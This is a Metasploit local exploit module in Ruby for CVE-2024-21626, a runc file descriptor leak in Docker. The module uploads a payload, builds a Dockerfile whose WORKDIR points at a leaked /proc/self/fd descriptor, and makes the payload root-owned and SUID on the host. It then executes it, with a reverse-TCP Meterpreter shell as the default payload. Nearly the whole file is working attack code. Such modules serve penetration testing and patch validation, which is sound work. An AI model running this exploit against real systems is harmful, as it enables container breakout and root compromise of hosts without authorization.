##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',
'Description' => %q{
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Rory McNamara' # Discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],
[ 'CVE', '2024-21626']
],
'DisclosureDate' => '2024-01-31',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Leaky Vessels'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'MeterpreterTryToFork' => true
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
sys_info = get_sysinfo
unless sys_info[:distro] == 'ubuntu'
return CheckCode::Safe('Check method only available for Ubuntu systems')
end
return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')
# Check the app is installed and the version, debian based example
package = cmd_exec('runc --version')
package = package.split[2] # runc, version, <the actual version>
if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2
package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched
package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched
return CheckCode::Appears("Vulnerable runc version #{package} detected")
end
unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln
return CheckCode::Appears("Vulnerable runc version #{package} detected")
end
CheckCode::Safe("runc #{package} is not vulnerable")
end
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
register_dirs_for_cleanup(dir)
# Upload payload executable
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
# write docker file
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
write_file("#{dir}/Dockerfile", dockerfile)
register_file_for_cleanup("#{dir}/Dockerfile")
print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec "cd #{dir} && docker build ."
output.each_line { |line| vprint_status line.chomp }
# delete our docker image
if output =~ /Successfully built ([a-z0-9]+)$/
print_status("Removing created docker image #{Regexp.last_match(1)}")
output = cmd_exec "docker image rm #{Regexp.last_match(1)}"
output.each_line { |line| vprint_status line.chomp }
end
fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"
fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path
print_status("Payload permissions set, executing payload (#{payload_path})...")
cmd_exec "#{payload_path} &"
end
end
